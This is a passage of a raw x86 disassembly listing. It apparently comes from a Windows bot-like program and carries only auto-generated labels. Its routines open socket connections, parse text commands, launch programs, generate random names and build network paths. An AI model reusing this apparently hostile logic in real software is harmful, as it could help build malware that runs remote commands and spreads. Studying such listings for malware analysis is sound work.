loc_41B688:				; CODE XREF: ___:0041B67Ej
		mov	edx, [esp+1Ch]
		inc	edi
		inc	esi
		lea	eax, [edx-1]
		cmp	edi, eax
		jl	short loc_41B63F


loc_41B695:				; CODE XREF: ___:0041B63Bj
					; ___:0041B641j ...
		mov	eax, [esp+1Ch]
		mov	[eax+ebp-1], bl


loc_41B69D:				; CODE XREF: ___:0041B66Cj
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B6A4:				; CODE XREF: ___:0041B65Aj
					; ___:0041B65Fj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B6E0	proc near		; CODE XREF: sub_401280j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		xor	ebx, ebx
		xor	esi, esi
		dec	eax
		cmp	eax, ebx
		push	edi
		mov	[ebp+0], bl
		mov	byte ptr [esp+10h+arg_4], 1
		jle	short loc_41B74A
		mov	edi, ebp


loc_41B6FF:				; CODE XREF: sub_41B6E0+68j
		cmp	edi, ebx
		jz	short loc_41B74A
		cmp	byte ptr [esp+10h+arg_4], bl
		jz	short loc_41B74A
		mov	ecx, [esp+10h+arg_0]
		push	ebx
		push	1
		push	edi
		push	ecx
		call	near ptr 71AB615Ah
		nop
		test	eax, eax
		jz	short loc_41B759
		mov	[esi+ebp+1], bl
		mov	al, [edi]
		cmp	al, 0Ah
		jz	short loc_41B72A
		cmp	al, bl
		jnz	short loc_41B73D


loc_41B72A:				; CODE XREF: sub_41B6E0+44j
		cmp	byte ptr [esi+ebp-1], 0Dh
		jnz	short loc_41B737
		mov	[esi+ebp-1], bl
		jmp	short loc_41B739
; ---------------------------------------------------------------------------


loc_41B737:				; CODE XREF: sub_41B6E0+4Fj
		mov	[edi], bl


loc_41B739:				; CODE XREF: sub_41B6E0+55j
		mov	byte ptr [esp+10h+arg_4], bl


loc_41B73D:				; CODE XREF: sub_41B6E0+48j
		mov	edx, [esp+10h+arg_8]
		inc	esi
		inc	edi
		lea	eax, [edx-1]
		cmp	esi, eax
		jl	short loc_41B6FF


loc_41B74A:				; CODE XREF: sub_41B6E0+1Bj
					; sub_41B6E0+21j ...
		mov	eax, [esp+10h+arg_8]
		pop	edi
		pop	esi
		mov	[eax+ebp-1], bl
		pop	ebp
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41B759:				; CODE XREF: sub_41B6E0+3Aj
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		retn
sub_41B6E0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41B780:				; CODE XREF: ___:00401ADCj
		push	ebx
		mov	ebx, [esp+8]
		push	ebp
		mov	ebp, [esp+10h]
		mov	ecx, ebp
		push	esi
		mov	edx, ecx
		push	edi
		xor	eax, eax
		mov	edi, ebx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		xor	esi, esi
		and	ecx, 3
		test	ebp, ebp
		rep stosb
		jle	short loc_41B7DB


loc_41B7A6:				; CODE XREF: ___:0041B7D9j
		push	3
		push	1
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		dec	eax
		jz	short loc_41B7C7
		dec	eax
		jz	short loc_41B7C1
		dec	eax
		jnz	short loc_41B7D6
		push	7Ah
		push	61h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C1:				; CODE XREF: ___:0041B7B6j
		push	5Ah
		push	41h
		jmp	short loc_41B7CB
; ---------------------------------------------------------------------------


loc_41B7C7:				; CODE XREF: ___:0041B7B3j
		push	39h
		push	30h


loc_41B7CB:				; CODE XREF: ___:0041B7BFj
					; ___:0041B7C5j
		call	sub_4021A3
; ---------------------------------------------------------------------------
		add	esp, 8
		mov	[esi+ebx], al


loc_41B7D6:				; CODE XREF: ___:0041B7B9j
		inc	esi
		cmp	esi, ebp
		jl	short loc_41B7A6


loc_41B7DB:				; CODE XREF: ___:0041B7A4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B800	proc near		; CODE XREF: sub_40141Aj
		rdtsc
		retn
sub_41B800	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B820	proc near		; CODE XREF: sub_4017F3j

var_4		= dword	ptr -4

		sub	esp, 8
		push	ebx
		mov	ebx, dword_50F8D0
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp


loc_41B82F:				; CODE XREF: sub_41B820+43j
					; sub_41B820+4Dj
		call	sub_40141A
		push	3E8h
		mov	esi, eax
		mov	edi, edx
		call	ebx
		call	sub_40141A
		sub	eax, esi
		push	ebp
		sbb	edx, edi
		push	186A0h
		push	edx
		push	eax
		call	sub_436970
		push	ebp
		push	0Ah
		push	edx
		push	eax
		call	sub_436970
		cmp	edx, ebp
		mov	esi, eax
		ja	short loc_41B82F
		jb	short loc_41B86F
		cmp	esi, 0F4240h
		ja	short loc_41B82F


loc_41B86F:				; CODE XREF: sub_41B820+45j
		push	ebp
		push	64h
		push	edx
		push	esi
		call	sub_4368F0
		mov	ecx, eax
		cmp	edx, ebp
		mov	eax, 64h
		mov	[esp+18h+var_4], ebp
		ja	short loc_41B8F9
		jb	short loc_41B88F
		cmp	ecx, 50h
		jnb	short loc_41B898


loc_41B88F:				; CODE XREF: sub_41B820+68j
		mov	eax, 4Bh
		mov	[esp+18h+var_4], ebp


loc_41B898:				; CODE XREF: sub_41B820+6Dj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8A3
		cmp	ecx, 47h
		jnb	short loc_41B8AC


loc_41B8A3:				; CODE XREF: sub_41B820+7Cj
		mov	eax, 42h
		mov	[esp+18h+var_4], ebp


loc_41B8AC:				; CODE XREF: sub_41B820+81j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8B7
		cmp	ecx, 37h
		jnb	short loc_41B8C0


loc_41B8B7:				; CODE XREF: sub_41B820+90j
		mov	eax, 32h
		mov	[esp+18h+var_4], ebp


loc_41B8C0:				; CODE XREF: sub_41B820+95j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8CB
		cmp	ecx, 26h
		jnb	short loc_41B8D4


loc_41B8CB:				; CODE XREF: sub_41B820+A4j
		mov	eax, 21h
		mov	[esp+18h+var_4], ebp


loc_41B8D4:				; CODE XREF: sub_41B820+A9j
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8DF
		cmp	ecx, 1Eh
		jnb	short loc_41B8E8


loc_41B8DF:				; CODE XREF: sub_41B820+B8j
		mov	eax, 19h
		mov	[esp+18h+var_4], ebp


loc_41B8E8:				; CODE XREF: sub_41B820+BDj
		cmp	edx, ebp
		ja	short loc_41B8F9
		jb	short loc_41B8F3
		cmp	ecx, 0Ah
		jnb	short loc_41B8F9


loc_41B8F3:				; CODE XREF: sub_41B820+CCj
		xor	eax, eax
		mov	[esp+18h+var_4], ebp


loc_41B8F9:				; CODE XREF: sub_41B820+66j
					; sub_41B820+7Aj ...
		sub	eax, ecx
		pop	edi
		add	eax, esi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 8
		retn
sub_41B820	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41B950	proc near		; CODE XREF: sub_402022j

var_40		= dword	ptr -40h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_41B950
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 34h
		mov	al, byte_447769
		push	ebx
		push	esi
		push	edi
		test	al, al
		mov	[esp+4Ch+var_40], 0
		jz	loc_41BAAF
		push	ebp
		lea	ecx, [esp+50h+var_3C]
		call	sub_401424
		push	400h
		lea	ecx, [esp+54h+var_3C]
		mov	[esp+54h+var_4], 1
		xor	bl, bl
		call	sub_401C5D
		mov	ebp, eax
		call	sub_401EEC
		lea	ecx, [esp+50h+var_3C]
		call	sub_4013D9
		mov	[esp+50h+arg_4], eax
		lea	eax, [esp+50h+arg_4]
		push	eax
		push	ebp
		nop
		call	near ptr 2800000h
		test	eax, eax
		jnz	short loc_41B9E6
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	edx, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb


loc_41B9E6:				; CODE XREF: sub_41B950+74j
		movsx	ecx, byte ptr [ebp+0]
		mov	eax, 41h


loc_41B9EF:				; CODE XREF: sub_41B950+A9j
		cmp	ecx, eax
		jnz	short loc_41B9F5
		mov	bl, 1


loc_41B9F5:				; CODE XREF: sub_41B950+A1j
		inc	eax
		cmp	eax, 5Bh
		jl	short loc_41B9EF
		mov	eax, 61h


loc_41BA00:				; CODE XREF: sub_41B950+BAj
		cmp	ecx, eax
		jnz	short loc_41BA06
		mov	bl, 1


loc_41BA06:				; CODE XREF: sub_41B950+B2j
		inc	eax
		cmp	eax, 7Bh
		jl	short loc_41BA00
		test	bl, bl
		jnz	short loc_41BA32
		mov	edi, offset byte_446F70
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb


loc_41BA32:				; CODE XREF: sub_41B950+BEj
		mov	esi, dword_50FABC
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		call	esi	; rand
		cdq
		mov	ecx, 0Ah
		idiv	ecx
		lea	ecx, [esp+50h+var_3C]
		push	edx
		call	sub_401140
		mov	esi, [esp+50h+arg_0]
		lea	edx, [esp+50h+var_3C]
		push	edx
		mov	ecx, esi
		call	sub_4014C9
		mov	[esp+50h+var_40], 1
		lea	ecx, [esp+50h+var_3C]
		mov	byte ptr [esp+50h+var_4], 0
		call	sub_401226
		pop	ebp
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	ecx, [esp+40h+var_C]
		mov	large fs:0, ecx
		add	esp, 40h
		retn
; ---------------------------------------------------------------------------


loc_41BAAF:				; CODE XREF: sub_41B950+2Aj
		lea	ecx, [esp+4Ch+var_24]
		call	sub_401424
		mov	ebx, 2
		mov	[esp+4Ch+var_4], ebx
		nop
		call	near ptr 27D07EBh
		push	eax
		call	near ptr 77C371BCh
		nop
		mov	edi, dword_50FABC
		add	esp, 4
		call	edi	; rand
		cdq
		mov	ecx, 3
		idiv	ecx
		lea	ecx, [esp+4Ch+var_24]
		mov	esi, edx
		mov	edx, [esp+4Ch+arg_4]
		push	edx
		add	esi, 6
		call	sub_4015D7
		test	esi, esi
		jle	short loc_41BB4E


loc_41BAF8:				; CODE XREF: sub_41B950+1FCj
		lea	ecx, [esp+4Ch+var_3C]
		call	sub_401424
		lea	eax, [esp+4Ch+var_24]
		lea	ecx, [esp+4Ch+var_3C]
		push	eax
		mov	byte ptr [esp+50h+var_4], 3
		call	sub_401FBE
		call	edi	; rand
		cdq
		mov	ecx, 1Ah
		idiv	ecx
		lea	ecx, [esp+4Ch+var_3C]
		add	edx, 61h
		push	edx
		call	sub_4017E4
		push	eax
		lea	edx, [esp+54h+var_24]
		push	offset dword_443E84
		push	edx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+4Ch+var_3C]
		mov	byte ptr [esp+4Ch+var_4], bl
		call	sub_401226
		dec	esi
		jnz	short loc_41BAF8


loc_41BB4E:				; CODE XREF: sub_41B950+1A6j
		mov	esi, [esp+4Ch+arg_0]
		lea	eax, [esp+4Ch+var_24]
		push	eax
		mov	ecx, esi
		call	sub_4014C9
		lea	ecx, [esp+4Ch+var_24]
		mov	[esp+4Ch+var_40], 1
		mov	byte ptr [esp+4Ch+var_4], 0
		call	sub_401226
		mov	ecx, [esp+4Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 40h
		retn
sub_41B950	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 90h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC20:				; CODE XREF: ___:00401569j
		mov	al, [esp+4]
		cmp	al, 20h
		jz	short loc_41BC2F
		cmp	al, 9
		jz	short loc_41BC2F
		xor	al, al
		retn
; ---------------------------------------------------------------------------


loc_41BC2F:				; CODE XREF: ___:0041BC26j
					; ___:0041BC2Aj
		mov	al, 1
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41BC50:				; CODE XREF: ___:00401ED8j
		mov	eax, [esp+4]
		push	offset dword_443E8C
		push	eax
		call	near ptr 77C3F010h
		nop
		add	esp, 8
		test	eax, eax
		jz	short loc_41BC74
		push	eax
		nop
		call	near ptr 77C40AB1h
		add	esp, 4
		mov	al, 1
		retn
; ---------------------------------------------------------------------------


loc_41BC74:				; CODE XREF: ___:0041BC65j
		xor	al, al
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BC90	proc near		; CODE XREF: sub_401479j

var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_20		= byte ptr -20h
arg_0		= dword	ptr  4

		sub	esp, 30h
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+40h+arg_0]
		test	edi, edi
		jz	loc_41BEEE
		mov	esi, offset byte_446F70
		mov	eax, edi


loc_41BCAA:				; CODE XREF: sub_41BC90+3Cj
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		test	cl, cl
		jz	short loc_41BCCE
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BCD2
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BCAA


loc_41BCCE:				; CODE XREF: sub_41BC90+26j
		xor	eax, eax
		jmp	short loc_41BCD7
; ---------------------------------------------------------------------------


loc_41BCD2:				; CODE XREF: sub_41BC90+22j
					; sub_41BC90+32j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BCD7:				; CODE XREF: sub_41BC90+40j
		test	eax, eax
		jz	loc_41BEEE
		push	20h
		lea	eax, [esp+44h+var_20]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	edi, dword_50FAF4
		lea	ecx, [esp+4Ch+var_20]
		push	offset dword_443DD4
		push	ecx
		call	edi	; strtok
		add	esp, 14h
		mov	[esp+40h+var_30], eax
		test	eax, eax
		jz	loc_41BEEE
		mov	ebx, 1
		lea	esi, [esp+40h+var_2C]


loc_41BD17:				; CODE XREF: sub_41BC90+A4j
		push	offset dword_443DD4
		push	0
		call	edi	; strtok
		add	esp, 8
		mov	[esi], eax
		test	eax, eax
		jz	loc_41BEEE
		inc	ebx
		add	esi, 4
		cmp	ebx, 4
		jl	short loc_41BD17
		mov	ebp, [esp+40h+var_30]
		mov	esi, offset dword_443EA8
		mov	eax, ebp


loc_41BD41:				; CODE XREF: sub_41BC90+D3j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		test	dl, dl
		jz	short loc_41BD65
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BD69
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD41


loc_41BD65:				; CODE XREF: sub_41BC90+BDj
		xor	eax, eax
		jmp	short loc_41BD6E
; ---------------------------------------------------------------------------


loc_41BD69:				; CODE XREF: sub_41BC90+B9j
					; sub_41BC90+C9j
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BD6E:				; CODE XREF: sub_41BC90+D7j
		test	eax, eax
		jnz	short loc_41BD7C
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BD7C:				; CODE XREF: sub_41BC90+E0j
		mov	esi, offset dword_443EA4
		mov	eax, ebp


loc_41BD83:				; CODE XREF: sub_41BC90+115j
		mov	cl, [eax]
		mov	bl, [esi]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		test	dl, dl
		jz	short loc_41BDA7
		mov	cl, [eax+1]
		mov	bl, [esi+1]
		mov	dl, cl
		cmp	cl, bl
		jnz	short loc_41BDAB
		add	eax, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BD83


loc_41BDA7:				; CODE XREF: sub_41BC90+FFj
		xor	eax, eax
		jmp	short loc_41BDB0
; ---------------------------------------------------------------------------


loc_41BDAB:				; CODE XREF: sub_41BC90+FBj
					; sub_41BC90+10Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BDB0:				; CODE XREF: sub_41BC90+119j
		mov	edi, [esp+40h+var_2C]
		test	eax, eax
		jnz	short loc_41BDFA
		mov	esi, offset dword_443EA0
		mov	edx, edi


loc_41BDBF:				; CODE XREF: sub_41BC90+151j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BDE7
		test	bl, bl
		jz	short loc_41BDE3
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BDE7
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BDBF


loc_41BDE3:				; CODE XREF: sub_41BC90+13Bj
		xor	edx, edx
		jmp	short loc_41BDEC
; ---------------------------------------------------------------------------


loc_41BDE7:				; CODE XREF: sub_41BC90+137j
					; sub_41BC90+147j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BDEC:				; CODE XREF: sub_41BC90+155j
		test	edx, edx
		jnz	short loc_41BDFA
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BDFA:				; CODE XREF: sub_41BC90+126j
					; sub_41BC90+15Ej
		mov	esi, offset dword_443E9C
		mov	edx, ebp


loc_41BE01:				; CODE XREF: sub_41BC90+193j
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE29
		test	bl, bl
		jz	short loc_41BE25
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE29
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE01


loc_41BE25:				; CODE XREF: sub_41BC90+17Dj
		xor	edx, edx
		jmp	short loc_41BE2E
; ---------------------------------------------------------------------------


loc_41BE29:				; CODE XREF: sub_41BC90+179j
					; sub_41BC90+189j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE2E:				; CODE XREF: sub_41BC90+197j
		test	edx, edx
		jnz	short loc_41BE74
		mov	esi, offset dword_443E98
		mov	edx, edi


loc_41BE39:				; CODE XREF: sub_41BC90+1CBj
		mov	al, [edx]
		mov	cl, [esi]
		mov	bl, al
		cmp	al, cl
		jnz	short loc_41BE61
		test	bl, bl
		jz	short loc_41BE5D
		mov	cl, [edx+1]
		mov	al, [esi+1]
		mov	bl, cl
		cmp	cl, al
		jnz	short loc_41BE61
		add	edx, 2
		add	esi, 2
		test	bl, bl
		jnz	short loc_41BE39


loc_41BE5D:				; CODE XREF: sub_41BC90+1B5j
		xor	edx, edx
		jmp	short loc_41BE66
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BC90+1B1j
					; sub_41BC90+1C1j
		sbb	edx, edx
		sbb	edx, 0FFFFFFFFh


loc_41BE66:				; CODE XREF: sub_41BC90+1CFj
		test	edx, edx
		jnz	short loc_41BE74
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BE74:				; CODE XREF: sub_41BC90+1A0j
					; sub_41BC90+1D8j
		mov	esi, offset dword_443E94
		mov	ecx, ebp


loc_41BE7B:				; CODE XREF: sub_41BC90+20Dj
		mov	al, [ecx]
		mov	bl, [esi]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		test	dl, dl
		jz	short loc_41BE9F
		mov	al, [ecx+1]
		mov	bl, [esi+1]
		mov	dl, al
		cmp	al, bl
		jnz	short loc_41BEA3
		add	ecx, 2
		add	esi, 2
		test	dl, dl
		jnz	short loc_41BE7B


loc_41BE9F:				; CODE XREF: sub_41BC90+1F7j
		xor	ecx, ecx
		jmp	short loc_41BEA8
; ---------------------------------------------------------------------------


loc_41BEA3:				; CODE XREF: sub_41BC90+1F3j
					; sub_41BC90+203j
		sbb	ecx, ecx
		sbb	ecx, 0FFFFFFFFh


loc_41BEA8:				; CODE XREF: sub_41BC90+211j
		test	ecx, ecx
		jnz	short loc_41BEEE
		mov	esi, offset dword_443E90
		mov	eax, edi


loc_41BEB3:				; CODE XREF: sub_41BC90+245j
		mov	dl, [eax]
		mov	bl, [esi]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		test	cl, cl
		jz	short loc_41BED7
		mov	dl, [eax+1]
		mov	bl, [esi+1]
		mov	cl, dl
		cmp	dl, bl
		jnz	short loc_41BEDB
		add	eax, 2
		add	esi, 2
		test	cl, cl
		jnz	short loc_41BEB3


loc_41BED7:				; CODE XREF: sub_41BC90+22Fj
		xor	eax, eax
		jmp	short loc_41BEE0
; ---------------------------------------------------------------------------


loc_41BEDB:				; CODE XREF: sub_41BC90+22Bj
					; sub_41BC90+23Bj
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41BEE0:				; CODE XREF: sub_41BC90+249j
		test	eax, eax
		jnz	short loc_41BEEE
		pop	edi
		pop	esi
		pop	ebp
		mov	al, 1
		pop	ebx
		add	esp, 30h
		retn
; ---------------------------------------------------------------------------


loc_41BEEE:				; CODE XREF: sub_41BC90+Dj
					; sub_41BC90+49j ...
		pop	edi
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 30h
		retn
sub_41BC90	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 0A0h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41BFA0	proc near		; CODE XREF: sub_402004j

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 10h
		push	ebx
		push	esi
		push	6
		push	1
		push	2
		xor	bl, bl
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41C008
		mov	eax, [esp+18h+arg_0]
		push	eax
		nop
		call	near ptr 71AB2BF4h
		mov	ecx, [esp+18h+arg_4]
		mov	[esp+18h+var_C], eax
		push	ecx
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+18h+var_10]
		push	10h
		push	edx
		push	esi
		mov	[esp+24h+var_E], ax
		mov	[esp+24h+var_10], 2
		nop
		call	near ptr 71AB406Ah
		test	eax, eax
		jnz	short loc_41BFF9
		mov	bl, 1


loc_41BFF9:				; CODE XREF: sub_41BFA0+55j
		push	esi
		nop
		call	near ptr 71AB9639h
		mov	al, bl
		pop	esi
		pop	ebx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_41C008:				; CODE XREF: sub_41BFA0+18j
					; sub_41BFA0+1Dj
		pop	esi
		xor	al, al
		pop	ebx
		add	esp, 10h
		retn
sub_41BFA0	endp

; ---------------------------------------------------------------------------
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C030	proc near		; CODE XREF: sub_401299j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	0
		push	0
		push	eax
		push	ecx
		push	offset aOpen	; "open"
		push	0
		call	near ptr 7CA41110h
		nop
		cmp	eax, 20h
		setnl	al
		retn
sub_41C030	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_402149j

var_54		= byte ptr -54h
var_44		= dword	ptr -44h
var_14		= word ptr -14h
arg_0		= dword	ptr  4

		sub	esp, 54h
		push	edi
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+58h+var_44]
		rep stosd
		mov	[esp+58h+var_14], ax
		lea	eax, [esp+58h+var_54]
		mov	edx, [esp+58h+arg_0]
		lea	ecx, [esp+58h+var_44]
		push	eax
		push	ecx
		push	0
		push	0
		push	28h
		push	0
		push	0
		push	0
		push	edx
		push	0
		mov	[esp+80h+var_44], 44h
		nop
		call	near ptr 27E0000h
		test	eax, eax
		setnle	al
		pop	edi
		add	esp, 54h
		retn
sub_41C070	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C0E0:				; CODE XREF: ___:00401875j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		xor	edi, edi
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	edi
		push	edi
		nop
		call	near ptr 2790000h
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		mov	esi, [esp+374h]
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	edi
		push	offset dword_50BB8C
		push	offset dword_50BB8C
		push	esi
		mov	[esi+4], edi
		mov	[esi+10h], edi
		mov	[esi+14h], eax
		mov	[esi+1Ch], edi
		call	sub_436FA8
; ---------------------------------------------------------------------------
		cmp	eax, 5
		jz	short loc_41C1C8
		cmp	eax, 4C3h
		jnz	short loc_41C1D1


loc_41C1C8:				; CODE XREF: ___:0041C1BFj
		push	edi
		push	edi
		push	edi
		push	esi
		call	sub_436FA8
; ---------------------------------------------------------------------------


loc_41C1D1:				; CODE XREF: ___:0041C1C6j
		pop	edi
		cmp	eax, 5
		pop	esi
		jz	short loc_41C1E8
		cmp	eax, 4C3h
		jz	short loc_41C1E8
		mov	al, 1
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------


loc_41C1E8:				; CODE XREF: ___:0041C1D6j
					; ___:0041C1DDj
		xor	al, al
		add	esp, 354h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41C250:				; CODE XREF: ___:00401EC9j
		sub	esp, 354h
		mov	eax, off_443EB4
		mov	ecx, dword_443EB8
		mov	[esp+0], eax
		mov	al, byte_446F70
		push	esi
		push	edi
		mov	[esp+0Ch], ecx
		mov	[esp+14h], al
		mov	ecx, 45h
		xor	eax, eax
		lea	edi, [esp+15h]
		mov	edx, dword_443EBC
		rep stosd
		mov	ecx, off_443EAC
		mov	[esp+10h], edx
		mov	dx, word_443EB0
		mov	[esp+12Ch], ecx
		stosw
		stosb
		mov	ecx, 8Ah
		xor	eax, eax
		lea	edi, [esp+132h]
		mov	[esp+130h], dx
		rep stosd
		mov	ecx, [esp+360h]
		push	0FFh
		stosw
		lea	eax, [esp+18h]
		push	eax
		push	0FFFFFFFFh
		push	ecx
		push	0
		push	0
		call	near ptr 2790000h
		nop
		mov	esi, dword_50FAAC
		lea	edx, [esp+14h]
		lea	eax, [esp+12Ch]
		push	edx
		push	eax
		call	esi	; wcscat
		lea	ecx, [esp+10h]
		lea	edx, [esp+134h]
		push	ecx
		push	edx
		call	esi	; wcscat
		add	esp, 10h
		lea	eax, [esp+12Ch]
		push	0
		push	0
		push	eax
		call	sub_436FAE
; ---------------------------------------------------------------------------
		test	eax, eax
		jz	short loc_41C338
		mov	esi, dword_50F8D0


loc_41C31C:				; CODE XREF: ___:0041C336j
		push	7D0h
		call	esi
		push	0
